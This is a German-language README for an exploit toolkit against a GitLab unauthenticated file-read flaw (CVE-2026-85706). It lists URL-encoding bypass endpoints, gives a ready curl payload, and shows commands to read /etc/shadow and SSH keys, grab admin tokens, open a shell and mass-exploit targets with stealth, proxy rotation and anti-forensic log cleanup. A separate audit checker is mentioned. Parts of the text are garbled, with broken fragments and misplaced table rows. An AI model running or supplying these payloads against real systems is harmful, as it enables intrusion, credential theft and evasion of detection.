
Python-Toolkit für CVE-2026-85706 GitLab unauth file read: weaponisierter Exploit mit Loot, Shell, Massenscan, plus nicht-intrusivem SafeChecker-Audit und Reporting.

⚠️ NUR ZUR ETHISCHEN VERWENDUNG – AUTORISIERTE SICHERHEITSTESTS
Dieses Repository stellt Tools ausschließlich für autorisierte Sicherheitsexperten, Blue Teams und Penetrationstester bereit.
Unbefugter Zugriff auf Computersysteme ist illegal gemäß CFAA (USA), Computer Misuse Act (UK), TCK 243/244 (Türkei) und ähnlichen Gesetzen weltweit.
CVE‑2026‑85706 ist eine kritische nicht authentifizierte beliebige lokale Dateileseschwachstelle in selbstverwaltetem GitLab CE/EE (Versionen 18.7 bis 19.3.1), die es einem nicht authentifizierten Angreifer ermöglicht, jede Datei auf dem Server über eine einzige HTTP-Anfrage an die Commits-API zu lesen.
%63ommits./api/v4/projects/{id}/repository/commits öffnet die in file.path angegebene Datei bevor die Authentifizierung erzwungen wird.%-Sequenz enthält, gibt Rack den Inhalt in einem 400 Bad Request-Body aus und gibt den vollständigen Inhalt preis.| Tool | Zweck | Vorgesehener Benutzer |
|---|---|---|
exploit.py | Vollständiges weaponisiertes Toolkit mit nicht authentifiziertem Dateilesen, Loot-Enumeration, Admin-Token-Extraktion, Massenscanning, interaktiver Shell, Proxy-Rotation, Stealth-Modus und Berichten in mehreren Formaten. | Red Teams / autorisierte Pentester |
safechecker.py | Nicht-intrusiver Schwachstellenprüfer, der die GitLab-Version erkennt, die Exposition validiert, Sicherheitsheader prüft und das Risiko bewertet, ohne eine Datei zu lesen. Erzeugt JSON/CSV/HTML-Berichte. | Blue Teams / Sicherheitsauditoren |
| Funktion | exploit.py | safechecker.py |
|---|---|---|
| Schwachstellenerkennung | ✅ | ✅ |
| Versionserkennung | ✅ | ✅ |
| Nicht authentifiziertes Dateilesen | ✅ | ❌ |
| Loot-Enumeration | ✅ | ❌ |
| Admin-Token-Extraktion | ✅ | ❌ |
| Interaktive Shell | ✅ | ❌ |
| Massenscanning (Multi-Thread) | ✅ | ✅ |
| Audit der Sicherheitsheader | ❌ | ✅ |
| TLS-/Zertifikatsprüfung | ❌ | ✅ |
| MITRE ATT&CK-Zuordnung | ✅ | ✅ |
| Proxy-Unterstützung | ✅ | ✅ |
| Proxy-Rotation | ✅ | ❌ |
| User-Agent-Rotation (OPSEC) | ✅ | ❌ |
| Jitter / Verzögerung (OPSEC) | ✅ | ❌ |
| Adaptiver Rate-Limiter | ✅ | ✅ |
| Stealth-Modus | ✅ | ❌ |
| curl_cffi TLS-Impersonation | ✅ | ❌ |
| Nicht-intrusiver (sicherer) Modus | ❌ | ✅ |
| JSON / JSONL / CSV / HTML-Ausgabe | ✅ | ✅ |
| SQLite-DB-Ausgabe | ✅ | ❌ |
| Webhook-Benachrichtigung | ✅ | ✅ |
| Diff gegen vorherigen Scan | ✅ | ✅ |
| Log-Bereinigung (Anti-Forensik) |
| Szenario | Empfohlenes Tool |
|---|---|
| Blue Team – Überprüfung, ob Ihr GitLab anfällig ist | safechecker.py |
| Sicherheitsaudit – nicht-intrusive Schwachstellenbewertung | safechecker.py |
| Red Team – autorisierte Penetrationstests mit vollständiger Ausnutzung | exploit.py |
| Bug Bounty – Tests zur verantwortungsvollen Offenlegung | safechecker.py |
| Massenscanning – Überprüfung mehrerer Ziele auf Schwachstellen | exploit.py (nur Erkennung) |
| Incident Response – Überprüfung, ob Systeme kompromittiert wurden | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py Parameter| Parameter | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-URL (z. B. https://gitlab.example.com) |
-f, --file | Datei mit Zielliste (eine pro Zeile) |
--pipe | Ziele von stdin lesen (subfinder/httpx-Pipeline) |
--read | Absolute(r) Pfad(e) zum Lesen, kommagetrennt |
--wordlist | Datei mit zu lesenden Pfaden (eine pro Zeile) |
--project-id | Eine bestimmte Projekt-ID erzwingen |
--max-projects | Maximale Anzahl zu testender Projekt-IDs (Standard: 8) |
--auto | Hochwertige GitLab-Dateien automatisch erbeuten |
--loot | Wie --auto |
--shell | Interaktive Shell nach der Ausnutzung |
--force | Scannen, auch wenn der GitLab-Fingerprint schwach ist |
-t, --threads | Threads für mehrere Ziele (Standard: 8) |
--timeout | HTTP-Timeout (Standard: 15s) |
--retry | Anzahl der Wiederholungsversuche (Standard: 3) |
--retry-on | HTTP-Codes für Wiederholung (Standard: 429,500,502,503,504) |
--proxy | HTTP/HTTPS-Proxy |
--proxy-list | Datei mit Proxys für Rotation |
--proxy-rotate | Rotationsstrategie: round-robin, random, sticky |
--jitter | Zufälligen Jitter zwischen Anfragen hinzufügen |
--jitter-range | Jitter min,max Sekunden (Standard: 0.1,2.0) |
--delay | Feste Verzögerung zwischen Anfragen |
--stealth | Stealth-Modus aktivieren (UA-Rotation + X-Forwarded-For) |
safechecker.py Parameter| Parameter | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-URL (z. B. https://gitlab.example.com) |
-f, --file | Datei mit Zielen (eine pro Zeile) |
-t, --threads | Threads für mehrere Ziele (Standard: 5) |
--timeout | HTTP-Timeout (Standard: 10s) |
--rate-limit | Maximale Anfragen pro Sekunde (0 = unbegrenzt) |
--user-agent | Benutzerdefinierter User-Agent-String |
--insecure | TLS-Verifikation deaktivieren (MITM-Risiko) |
--webhook | Webhook-URL (slack:, discord:, telegram:) |
--diff | Mit vorherigem Scan-JSON vergleichen |
-v, --verbose | Ausführliche Ausgabe |
-o, --output | JSON-Ausgabedatei |
--csv | CSV-Ausgabedatei |
--report | HTML-Berichtsdatei |
--mitre | MITRE ATT&CK-Zuordnung einbeziehen (Standard: an) |
| # | Szenario | Befehl |
|---|---|---|
| 1 | Schnelle Schwachstellenprüfung | python safechecker.py -u https://gitlab.example.com |
| 2 | Detailliertes Audit mit Bericht | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | Massen-Audit aus Datei | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | Nur-Erkennungs-Exploit | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | Eine einzelne Datei lesen | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | Mehrere Dateien lesen | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | Automatisches Erbeuten hochwertiger Dateien | python exploit.py -u https://gitlab.example.com --auto |
| 8 | Interaktive Shell | python exploit.py -u https://gitlab.example.com --shell |
| 9 | Massen-Exploit mit Stealth | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | Pipeline von subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | Vollständiger Angriff mit SIEM-Ausgabe | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | Unterbrochenen Scan fortsetzen | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | Zwei Scans vergleichen | python safechecker.py -f targets.txt -o new.json --diff previous.json |
Der Exploit verwendet die folgenden GitLab-Endpunkte und Umgehungstechniken:
| Schritt | Methode | Endpunkt | Beschreibung |
|---|---|---|---|
| 1. Umgehung | POST | /api/v4/projects/{id}/repository/%63ommits | Kodiertes c umgeht Workhorse |
| 2. Umgehung | POST | /api/v4/projects/{id}/%72epository/commits | Kodiertes r in repository |
| 3. Umgehung | POST | /api/v4/projects/{id}/repository/commits/ | Umgehung durch abschließenden Schrägstrich |
| 4. Umgehung | POST | /api/v4/projects/{id}/repository/commits.json | Umgehung durch Grape-Format-Suffix |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | Alternativer Pfad |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
Diese Software wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
| ✅ |
| ❌ |
| Benutzerdefinierter User-Agent | ✅ | ✅ |
| SSL-Verifikationssteuerung | ✅ | ✅ |
--curl-cffi | curl_cffi für TLS-Fingerprint-Impersonation verwenden |
--user-agent-file | Datei mit User-Agent-Strings |
--max-body | Maximale Größe des Antwort-Bodys (0 = unbegrenzt) |
--concurrent-per-host | Maximale gleichzeitige Anfragen pro Host |
--rate-limit | Maximale Anfragen pro Sekunde (0 = unbegrenzt) |
--exclude | Kommagetrennte Hosts zum Ausschließen (Glob-Muster) |
--grep | Nur Leaks anzeigen, die dem Regex entsprechen |
--resume | Aus State-Datei fortsetzen |
--notify | Benachrichtigungs-URL (slack:, discord:, telegram:) |
--db | Ergebnisse in SQLite-Datenbank speichern |
--output-format | Ausgabeformat: json, jsonl, csv, html |
-o, --output | Ausgabedateipfad |
-v, --verbose | Ausführliche Ausgabe |
-q, --quiet | Leiser Modus |
--no-color | Farben deaktivieren |
--no-banner | Kein Banner |
--config | YAML/JSON-Konfigurationsdatei |
--dry-run | Plan anzeigen, ohne Anfragen zu stellen |
--safe-mode | Nur /etc/hostname lesen zur Überprüfung |
--timeout-profile | aggressive, normal, stealth |
--mitre | MITRE ATT&CK-Zuordnung einbeziehen |
--fingerprint | Detaillierter GitLab-Fingerprint |
--cve-check | Auf verwandte CVEs prüfen |
--json-schema | Ausgabe mit JSON-Schema für SIEM |
--progress | Fortschrittsbalken anzeigen (erfordert rich) |